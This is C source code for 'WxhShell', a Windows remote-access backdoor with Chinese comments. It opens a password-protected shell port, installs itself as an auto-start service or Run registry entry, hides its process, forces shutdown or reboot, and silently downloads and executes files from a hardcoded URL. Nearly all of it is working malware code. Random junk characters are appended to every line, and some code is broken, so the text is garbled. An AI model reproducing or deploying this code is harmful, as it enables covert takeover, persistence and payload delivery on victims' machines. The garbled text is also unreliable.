    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bKYY{V55  
    if(Boot(SHUTDOWN)) `Gf{z%/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @|^jq  
    else { =]T|h  
    closesocket(wsh); E\w+kAAf  
    ExitThread(0); JdtPY~k0  
    } CP +4k.)*O  
    break; P!5Z]+B#  
    } m+H%g"Zj  
  // 获取shell /n(9&'H<  
  case 's': { )eECOfmnZ  
    CmdShell(wsh); 5KK{%6#f\  
    closesocket(wsh); i9KTX%s5^  
    ExitThread(0); 3a%xn4P  
    break; gTnS[  
  } N9pwWg&<+  
  // 退出 B n{)|&;  
  case 'x': { Z^<Sj5}6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 97!H`|u <  
    CloseIt(wsh); iNXFk4  
    break; M=W 4:H,gx  
    } q=njKC  
  // 离开 goB;EWz  
  case 'q': { Gp,'kw"I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZlrhC= 0  
    closesocket(wsh); !\ZcOk2  
    WSACleanup(); X3AwM%,!  
    exit(1); b) Ux3PB  
    break; Y3<b~!f  
        } +|9f%f6vp  
  } kB V/rw  
  } O)`Gzx*ShU  
g**5z'7  
  // 提示信息 e9lOk)`t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J]dW1boT@  
} '=p?  
  } T ~h.=5  
`4skwvS=  
  return; 5~QT g  
} /eb-'m  
@C=m?7O98  
// shell模块句柄 TVYz3~m  
int CmdShell(SOCKET sock) ~{$L9;x  
{ L@?e:*h  
STARTUPINFO si; )%t7\1)B3  
ZeroMemory(&si,sizeof(si)); UG #X/%p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >P<'L4;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !UVk9  
PROCESS_INFORMATION ProcessInfo; Mb1wYh  
char cmdline[]="cmd"; R B%:h-t4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vbaC+AiX  
  return 0; (Igu:=  
} 83Uw  
&Q~)]|t  
// 自身启动模式 5x2L(l-2  
int StartFromService(void) ,WGc7NN`  
{ ` .$&T7  
typedef struct +<{m45  
{ 5e8xKL  
  DWORD ExitStatus;  E>"8 /  
  DWORD PebBaseAddress; },s_nJR:8  
  DWORD AffinityMask; ) P%4:P  
  DWORD BasePriority; hJLT!33:  
  ULONG UniqueProcessId; ) $J7sa  
  ULONG InheritedFromUniqueProcessId; D7gHE  
}   PROCESS_BASIC_INFORMATION; 2LC w*eT{)  
&r:=KT3  
PROCNTQSIP NtQueryInformationProcess; Mt=R*M}D0  
86qcf"?E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bJ6p,]g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {Xv3:"E"O  
v^TkDf(Oz  
  HANDLE             hProcess; WN\PX!K9  
  PROCESS_BASIC_INFORMATION pbi; >jKjh!`)!e  
t#~XLCE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QtlT&|$   
  if(NULL == hInst ) return 0; g>T  
H?{ MRe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @ZG>mP1Vo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x,uBJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _#vGs:-x&  
A2 BRbwr>  
  if (!NtQueryInformationProcess) return 0; |6*Va%LYO-  
shzG Eb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \4QH/e  
  if(!hProcess) return 0; vpV$$=Qwp  
CIy^`2wq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x`L+7,&n  
`;/XK,m-  
  CloseHandle(hProcess); I&\4C.\>  
AAo0M/U'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y!hi"!  
if(hProcess==NULL) return 0; :q;R6-|.  
rKT)!o'  
HMODULE hMod; }Aw47;5q;  
char procName[255]; BV1u,<T"  
unsigned long cbNeeded; b!,ja?  
O]bKNA.5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ofK='G .  
#fj[kq)&S  
  CloseHandle(hProcess); s>r ^r%uK  
P9s_2KOF  
if(strstr(procName,"services")) return 1; // 以服务启动 k}s+ca!B  
OEI3eizgH  
  return 0; // 注册表启动 `V@z&n0P6  
} :$2Yg[Zc3  
zb?kpd}r  
// 主模块 xl9(ze  
int StartWxhshell(LPSTR lpCmdLine) f B7ljg  
{ dk8y>uLr_  
  SOCKET wsl; Z)5klg$c  
BOOL val=TRUE; OW#_ty_ul  
  int port=0; ,ex]$fQ'  
  struct sockaddr_in door; %Co b(C&}  
=Sa~\k+  
  if(wscfg.ws_autoins) Install(); s6/cL|Ex  
zWtj|%ts  
port=atoi(lpCmdLine); 1\IZcJ {  
B*2{M  
if(port<=0) port=wscfg.ws_port; 9 ?(x>P  
*W%'Di  
  WSADATA data; 5Xj|:qz<(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *0\k Z,#BJ  
V(DjF=8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AoIc9E lEX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jceHK l  
  door.sin_family = AF_INET; K#@K"N =  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2]3G1idB  
  door.sin_port = htons(port); ~ur)f AuF2  
nSS}%&a:LX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /3s@6Ex}E  
closesocket(wsl); ,[^o9u uB  
return 1; >j- b5g"g  
} Bu' :2"7  
y+= \z*9  
  if(listen(wsl,2) == INVALID_SOCKET) { ]a=l^Pc(xN  
closesocket(wsl); }^Z< dbt  
return 1; "(N-h\7Ex9  
} sZT VM9<)  
  Wxhshell(wsl); 1&}G+y  
  WSACleanup(); 0O_E\- =  
5uzpTNAMM1  
return 0; pIL`WE1'  
bu;vpNa  
} vRxL&8`&  
|]I#CdO  
// 以NT服务方式启动 {8_:4`YZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,~iFEaV+  
{ 6mX:=Q  
DWORD   status = 0; }WoX9M; 1  
  DWORD   specificError = 0xfffffff; rtoSCj:  
ddl3 fl#f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ayHn_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E#m76]vkCU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D=<t;+|  
  serviceStatus.dwWin32ExitCode     = 0; h@ EJTAi  
  serviceStatus.dwServiceSpecificExitCode = 0; :LG}yq^  
  serviceStatus.dwCheckPoint       = 0; g}^4^88=a  
  serviceStatus.dwWaitHint       = 0; MV7}  
#xDDh`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UX03"gX  
  if (hServiceStatusHandle==0) return; N <ja6Ac  
P"U>tsHK:  
status = GetLastError(); [Q7`RB  
  if (status!=NO_ERROR) F@oT7NB/n  
{ Z(#XFXd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /%c+ eL}l  
    serviceStatus.dwCheckPoint       = 0; *vEU}SxRuv  
    serviceStatus.dwWaitHint       = 0; 9(V=Ubj  
    serviceStatus.dwWin32ExitCode     = status; vr5<LNCLQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3ZLr"O1l)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  eYPt  
    return; PL9zNCr-[  
  } 8uD8or  
}mkA Hmu4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2&3eAJC  
  serviceStatus.dwCheckPoint       = 0; })h'""i&xn  
  serviceStatus.dwWaitHint       = 0; N^)<)?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UXXqE4x  
} e<&_tx   
o;HdW  
// 处理NT服务事件,比如:启动、停止 g6tWU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P*?d6v,r  
{ '` BjRg57]  
switch(fdwControl) 4+Li)A:4.  
{ [J[ysW})W  
case SERVICE_CONTROL_STOP: !8H!Fj`|j  
  serviceStatus.dwWin32ExitCode = 0; Off: ~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w yuJSB  
  serviceStatus.dwCheckPoint   = 0; R] V~IDs   
  serviceStatus.dwWaitHint     = 0; HXl r  
  { A,-[/Z K/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bqf]$}/8k  
  } VyBJIzs0  
  return; =N[V{2}q  
case SERVICE_CONTROL_PAUSE: f D]An<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %BT)oH}  
  break; Gx~"iM  
case SERVICE_CONTROL_CONTINUE: K{`2jK#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W? 6  
  break; ys~p(  
case SERVICE_CONTROL_INTERROGATE: N'Z_6A*-  
  break; &j wnM  
}; _mI:Lr#dT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }(vOaD|k=  
} 'w |s*5  
]ZU:%Qhu  
// 标准应用程序主函数 :*w:eKk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Npg5Z%+y  
{ F?+Uar|-a  
%3@RZe  
// 获取操作系统版本 [4+a 1/^  
OsIsNt=GetOsVer(); $O8EiC!f6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @zVBn~=i  
Nsy9 h}+A  
  // 从命令行安装 SjNwT[.nr7  
  if(strpbrk(lpCmdLine,"iI")) Install(); [ XY:MU e  
Br.$L  
  // 下载执行文件 G3^n_]Jb  
if(wscfg.ws_downexe) { b$$L]$q2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q}7Df!<|  
  WinExec(wscfg.ws_filenam,SW_HIDE); %(wsGNd  
} jW+VUF-t  
%]= 'Uv^x  
if(!OsIsNt) { ah&plaVzC  
// 如果时win9x,隐藏进程并且设置为注册表启动 m= beB\=  
HideProc(); *z  ;N  
StartWxhshell(lpCmdLine); fAA@ziKg  
} q}76aa0e  
else ju2X*  
  if(StartFromService()) 0 S`b;f  
  // 以服务方式启动 bU g2Bm!y  
  StartServiceCtrlDispatcher(DispatchTable); >=q!!'$:  
else l.W1$g  
  // 普通方式启动 ~ @"Qm;} "  
  StartWxhshell(lpCmdLine); Wn9Mr2r!*,  
@SMy0:c:  
return 0; 0T{Y_IG  
} c K}  
4>ce,*B1  
3E2.v5*  
Zo638*32  
=========================================== 0R!}}*Ee>q  
kpMM%"=V  
JMe[ .S x  
f`";Q/rG  
t;~`Lm@hY  
$A!h=]  
" D@vvy6>~s  
YNQ6(HA  
#include <stdio.h> l$ _+WC*wp  
#include <string.h> /v ;Kb|e  
#include <windows.h> "l;8 O2;g  
#include <winsock2.h> YV!V9   
#include <winsvc.h> Q1&dB{L  
#include <urlmon.h> 7~9f rW<K  
M{kh=b)V  
#pragma comment (lib, "Ws2_32.lib")  eJ\j{-  
#pragma comment (lib, "urlmon.lib") tS\NO@E_Jh  
 YaZ "&i  
#define MAX_USER   100 // 最大客户端连接数 fvfVBk#  
#define BUF_SOCK   200 // sock buffer (c|qX-%rC  
#define KEY_BUFF   255 // 输入 buffer Jt, 4@  
T-8nUo}i  
#define REBOOT     0   // 重启 w3cK: C0  
#define SHUTDOWN   1   // 关机 M[N.H9  
M4PUJZ]  
#define DEF_PORT   5000 // 监听端口 yQ&%* ?J  
s3!LR2qiF  
#define REG_LEN     16   // 注册表键长度 ~"0X,APR5  
#define SVC_LEN     80   // NT服务名长度 0lh6b3tdP  
wz)9/bL  
// 从dll定义API X[Gk!d r#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :Aiu!}\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ryLNMh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oT{yttSNo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BtApl)q#  
|Cq J2  
// wxhshell配置信息 [mvHa;-w  
struct WSCFG { }@6 %yR  
  int ws_port;         // 监听端口 rM.<Gi05Qe  
  char ws_passstr[REG_LEN]; // 口令 fsuvg jlE  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z-!T(:E]  
  char ws_regname[REG_LEN]; // 注册表键名 C>VZf,JE1  
  char ws_svcname[REG_LEN]; // 服务名 wcT6d?*5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L4Y3\4xXO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hkI);M+@6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Xe+FMbBco  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ha~s< I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?M(Wx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MX\-)e#  
RyD$4jk+T"  
}; zD-8#H35X"  
mj|9x1U)  
// default Wxhshell configuration .w)t<7 y  
struct WSCFG wscfg={DEF_PORT, 1 R9/AP  
    "xuhuanlingzhe", >f8,YisH  
    1, 1`\kXaG  
    "Wxhshell", r!iuwE@  
    "Wxhshell", S`KCVQ>V  
            "WxhShell Service", k<qH<<r*  
    "Wrsky Windows CmdShell Service", $c47cJO)W  
    "Please Input Your Password: ", NZP,hAUK,  
  1, ZW%`G@d"H-  
  "http://www.wrsky.com/wxhshell.exe", bf(&N-"A  
  "Wxhshell.exe" s'4p+eJ  
    }; )>p6h]]a  
.x%SbG<k{  
// 消息定义模块 jXZNr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ztpb/9J9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TD7ONa-,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X_l,fu^C#$  
char *msg_ws_ext="\n\rExit."; pC8i &_A  
char *msg_ws_end="\n\rQuit."; )_?$B6hf,&  
char *msg_ws_boot="\n\rReboot..."; mo$*KNW%\  
char *msg_ws_poff="\n\rShutdown..."; 6'zy"UkH  
char *msg_ws_down="\n\rSave to "; ~]W8NaQB(  
xd@DN;e  
char *msg_ws_err="\n\rErr!"; ? |dz"=y  
char *msg_ws_ok="\n\rOK!"; dz 2d`=`3  
P0=F9`3wb  
char ExeFile[MAX_PATH]; (6{ VMQ  
int nUser = 0; i$bBN$<b<  
HANDLE handles[MAX_USER]; i\G3 u#  
int OsIsNt; u'p J 9>sC  
r N7"%dx  
SERVICE_STATUS       serviceStatus; < r~Tj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ./'n2$^3  
_#:1Axx1  
// 函数声明 |z%,W/Ef  
int Install(void); 7F4]EA ^  
int Uninstall(void); *gn*S3Is[j  
int DownloadFile(char *sURL, SOCKET wsh); |*$_eb  
int Boot(int flag); U<b!$"P9  
void HideProc(void); BR'|hG  
int GetOsVer(void); KX`,7-  
int Wxhshell(SOCKET wsl); /rW{rf^  
void TalkWithClient(void *cs); guvQISQlY  
int CmdShell(SOCKET sock); vkK+ C~"  
int StartFromService(void); |=POV]K  
int StartWxhshell(LPSTR lpCmdLine); nq=fSK(  
*)<tyIHd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =j0V/=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -)@.D>HsOt  
! bp"pa9  
// 数据结构和表定义 0CROq}  
SERVICE_TABLE_ENTRY DispatchTable[] = sAN#j {  
{ Gm. hBNgp  
{wscfg.ws_svcname, NTServiceMain}, uOQ5.S+  
{NULL, NULL} Li2)~4p><  
}; N+\*:$>zt6  
( nh!tC  
// 自我安装 ;IT^SHym  
int Install(void) >BX_Bou  
{ JI&>w-~D  
  char svExeFile[MAX_PATH]; oZ}e w!V  
  HKEY key; TO.NCO\x  
  strcpy(svExeFile,ExeFile); ,>$#e1!J  
OjN]mp-q  
// 如果是win9x系统,修改注册表设为自启动 Ssj'1[%  
if(!OsIsNt) { f As:[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cv|:.y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vzw\f   
  RegCloseKey(key); A-W7!0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { URAipLvN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Y"J j  
  RegCloseKey(key); k=@Q#=;*[W  
  return 0; '.=Z2O3p  
    } G<-.{Gx)  
  } Ur`v*LT}~  
} >b?,zWiw  
else { :.dQY=6I  
yhIg)/?L  
// 如果是NT以上系统,安装为系统服务 5?b9[o+ D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /Hx\ gtV  
if (schSCManager!=0) g5 E]o)  
{ 1Jahu!c?  
  SC_HANDLE schService = CreateService m[}$&i$(  
  ( 0XYxMN)  
  schSCManager, I$Z"o9"  
  wscfg.ws_svcname, &0#qy9wx  
  wscfg.ws_svcdisp, ' 9,}N:p  
  SERVICE_ALL_ACCESS, 9xWrz;tzo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z+ 4R[+[  
  SERVICE_AUTO_START, ,y0kzwPR1  
  SERVICE_ERROR_NORMAL, Qu\E/T`  
  svExeFile, ~ e"^-x  
  NULL, 6?_Uow}  
  NULL, 1kpI?Plki  
  NULL, r=9*2X#  
  NULL, ~7ArH9k .  
  NULL S2*:]pYf}  
  ); gs!{'=4wT  
  if (schService!=0) v uJ~Lg{  
  { PXkPC%j  
  CloseServiceHandle(schService); &8;mcM//4  
  CloseServiceHandle(schSCManager); :>,d$f^tqE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3oSQe"  
  strcat(svExeFile,wscfg.ws_svcname); T|E;U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ';1 c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !{4p+peqJV  
  RegCloseKey(key); aA:Ky&5e  
  return 0; T1x$v,)8x  
    } WaH TzIa[  
  } 0nv3JX^l]  
  CloseServiceHandle(schSCManager); v9<p@GY"\  
} pG" 4qw  
} rGN-jb)T+  
Y)uNzb6R  
return 1; GxvVh71zP  
} )X@(>b{  
"aP/214Ul  
// 自我卸载 nZ{~@E2  
int Uninstall(void) b~\![HoCMM  
{ (Q @m;i>  
  HKEY key; 0S' EnmG  
M~@\x]p >  
if(!OsIsNt) { .$q]<MK8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9/nL3U@i1  
  RegDeleteValue(key,wscfg.ws_regname); xUG|@xIwc  
  RegCloseKey(key); I\[*vgjm3G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9_HEImk  
  RegDeleteValue(key,wscfg.ws_regname); t rHj7Nw  
  RegCloseKey(key); HHX9QebiST  
  return 0; }#Vo XilX  
  } TzIgEn~  
} js>6Du  
} [%b<%m}L-  
else { )d s(/P5b  
p HWol!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -8EdTc@  
if (schSCManager!=0) YN\ QwV  
{ QJ$]~)w?H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {xOu*8J  
  if (schService!=0) 7}nOF{RH]  
  { cW MZw|t  
  if(DeleteService(schService)!=0) { U_14CLs dG  
  CloseServiceHandle(schService); b?r0n]  
  CloseServiceHandle(schSCManager); SK-|O9Ki  
  return 0; z`TI<B  
  } F9d][ P@@  
  CloseServiceHandle(schService); [V1gj9t=,  
  } ,@<-h* m  
  CloseServiceHandle(schSCManager); Tvk=NJ  
} y{kXd1,  
} Y\j &84  
L:'Y#VI{  
return 1; #'"h+[XY  
} 0V1kZ.  
v}iJ :'  
// 从指定url下载文件 *aTM3k)Zs  
int DownloadFile(char *sURL, SOCKET wsh) }p "HD R>  
{ G"J6X e  
  HRESULT hr; ."3 J;j  
char seps[]= "/"; ;&[0 h)  
char *token; LxMOs Nv  
char *file; U~7.aZHPx3  
char myURL[MAX_PATH]; DrW]`%Ql  
char myFILE[MAX_PATH]; y*zZ }>  
CNP?i(Rk  
strcpy(myURL,sURL); F*Qw%  
  token=strtok(myURL,seps); HI:E&20y  
  while(token!=NULL) K<N0%c~  
  { !WDdq_n*v  
    file=token; B[y1RI|9  
  token=strtok(NULL,seps); 2b!b-  
  } G-rN?R.  
:?lSa6de  
GetCurrentDirectory(MAX_PATH,myFILE); 'X`\vTxB  
strcat(myFILE, "\\"); L@v0C)  
strcat(myFILE, file); p|W:;(  
  send(wsh,myFILE,strlen(myFILE),0); ;M}bQ88  
send(wsh,"...",3,0); i3f/{D/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iPE-j#|  
  if(hr==S_OK) +y-:(aP  
return 0; &(wik#S  
else .]8 Jeb  
return 1; nar=\cs~g  
,/Xxj\i  
} ]Y, 7 X  
qf ]ax!bK  
// 系统电源模块 ab 2 V.S  
int Boot(int flag) Z^#7&Pv0  
{ Xr':/Qjf  
  HANDLE hToken; mB_ba1r  
  TOKEN_PRIVILEGES tkp; hWuq  
J&h 3,  
  if(OsIsNt) { _{T`ka  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I8?egDkk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KA.@q AEB  
    tkp.PrivilegeCount = 1; & yw-y4 =  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 40+E#z)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #bf^Pq'8  
if(flag==REBOOT) { JB* *z00;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WqwD"WX+w  
  return 0; J2yq|n?2gq  
} 6`%}s3Xq  
else { yp!Xwq#n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NW^}u~-f  
  return 0; P]INYH  
} l *pCG`@J#  
  } mnG\UK,k  
  else { >iaZGXje  
if(flag==REBOOT) { w[loV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5E~][. d  
  return 0; 6V!yfps)  
} 0(0Ep(Vj  
else { 0wxQ,PI1'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sE]eIN  
  return 0; gM_Z/$  
} A9F&XF7{  
} LvE|K&R|  
$eI[3{}X  
return 1; cLJ|VD7  
} } %rF}>$A  
0p&:9|'z  
// win9x进程隐藏模块 rHN>fySn7  
void HideProc(void) b abDLaC@  
{ P0UMMn\-#  
0d.lF:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IRXpk 6|  
  if ( hKernel != NULL ) 6lsU/`.  
  { U{{RRK|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C+O`3wPZp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N4'b]:`n  
    FreeLibrary(hKernel); ^#XxqVdPk  
  } 0+M1,?+GfF  
M[HPHNsA&  
return; Q8T4_p [-o  
} ]TqcV8Q~  
cXtL3T+  
// 获取操作系统版本 Wf>UI)^n  
int GetOsVer(void) AaKILIIQZ  
{ b&V=X{V4  
  OSVERSIONINFO winfo; v" y e\ZG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Koahd =  
  GetVersionEx(&winfo); >TwOL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F1gDeLmJ  
  return 1; 6WI_JbT~  
  else S &cH1QZ  
  return 0; [ZDJs`h!`  
} fJC)>doM  
yu3EPT!~  
// 客户端句柄模块 g`3g#h$  
int Wxhshell(SOCKET wsl) V ;"?='vVe  
{ ~d){7OG  
  SOCKET wsh; Sg')w1  
  struct sockaddr_in client; >p2v"XX  
  DWORD myID; m <aMb  
f}nGWV%,  
  while(nUser<MAX_USER) Q]a5]:0  
{ ]N2'L!4|;  
  int nSize=sizeof(client); ||9f@9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9CUMqaY2  
  if(wsh==INVALID_SOCKET) return 1; ]wdudvS@6r  
efZdtrKgy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;bkS0Vmg  
if(handles[nUser]==0) {%b>/r  
  closesocket(wsh); tAbIT;>  
else _mA[^G=gY  
  nUser++; o NJ/AT  
  } P^VV8Z>\&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5o rA#B  
F2 >o"j2  
  return 0; x/bO;9E%U4  
} q35%t61Lc  
d=N5cCqq  
// 关闭 socket 2*%0m^#^6  
void CloseIt(SOCKET wsh) -}PD0Pzg;=  
{ c\]h YKA  
closesocket(wsh); q\d'}:kfu  
nUser--; b>Vs5nY!  
ExitThread(0); 6;[iX`LL  
} \AkeC6[D  
~A>3k2 N/e  
// 客户端请求句柄 $o {f)'.>n  
void TalkWithClient(void *cs) AO>K 6{  
{ ;y4 "wBX  
F RS@-P  
  SOCKET wsh=(SOCKET)cs; cg$7`/U  
  char pwd[SVC_LEN]; PM o>J|^  
  char cmd[KEY_BUFF]; Z~muQ c?  
char chr[1]; 4)Z78H%>  
int i,j; )5'S=av9  
J=zh+oLCV  
  while (nUser < MAX_USER) { 5x4(5c5^  
@0n #Qs|E!  
if(wscfg.ws_passstr) { lq1pgM?Kf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ms^,]Q1{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  yZdM4`  
  //ZeroMemory(pwd,KEY_BUFF); d=H C;T)  
      i=0; rs 7R5 F  
  while(i<SVC_LEN) { j Dy  
w9i1ag  
  // 设置超时 _g$6vx&  
  fd_set FdRead; 0dXZd2oK@  
  struct timeval TimeOut; WElB,a-RCp  
  FD_ZERO(&FdRead); 6ZCt xs!  
  FD_SET(wsh,&FdRead); UO>p-M  
  TimeOut.tv_sec=8; "d%":F(  
  TimeOut.tv_usec=0; YuLW]Q?v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /38^N|/Zr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l(%bdy  
 $p}7CP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {@B<$g   
  pwd=chr[0]; #}e)*(  
  if(chr[0]==0xd || chr[0]==0xa) { Gi Zy C  
  pwd=0; (Cqhk:F  
  break; }$81FSKh  
  } 8Qek![3^  
  i++; #Z (B4YO  
    } DkQy.  
@/B&R^aVZ  
  // 如果是非法用户,关闭 socket gnx!_H\h<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lE$X9yIt  
} 5w iU4-{  
wGLZzqgq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ndW? ?wiM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /m.6NVu7  
DoNbCVZ  
while(1) { u= !?<Q  
l9#M`x9  
  ZeroMemory(cmd,KEY_BUFF); 8]'qJ;E2  
to]1QjW-  
      // 自动支持客户端 telnet标准   ` *h-j/M  
  j=0; 97'*Xq  
  while(j<KEY_BUFF) { |V%Qp5 XJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (A/V(.!  
  cmd[j]=chr[0]; I>b!4?h  
  if(chr[0]==0xa || chr[0]==0xd) { |f?tyQ  
  cmd[j]=0; bC)d iC  
  break; {b= ]JPE  
  } D~U 4K-  
  j++; /wH]OD{  
    } :W-"UW,  
qZG "{8  
  // 下载文件 yG2j!D  
  if(strstr(cmd,"http://")) { [|Jz s[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F{B__Kf  
  if(DownloadFile(cmd,wsh)) *";,HG?|Iz  
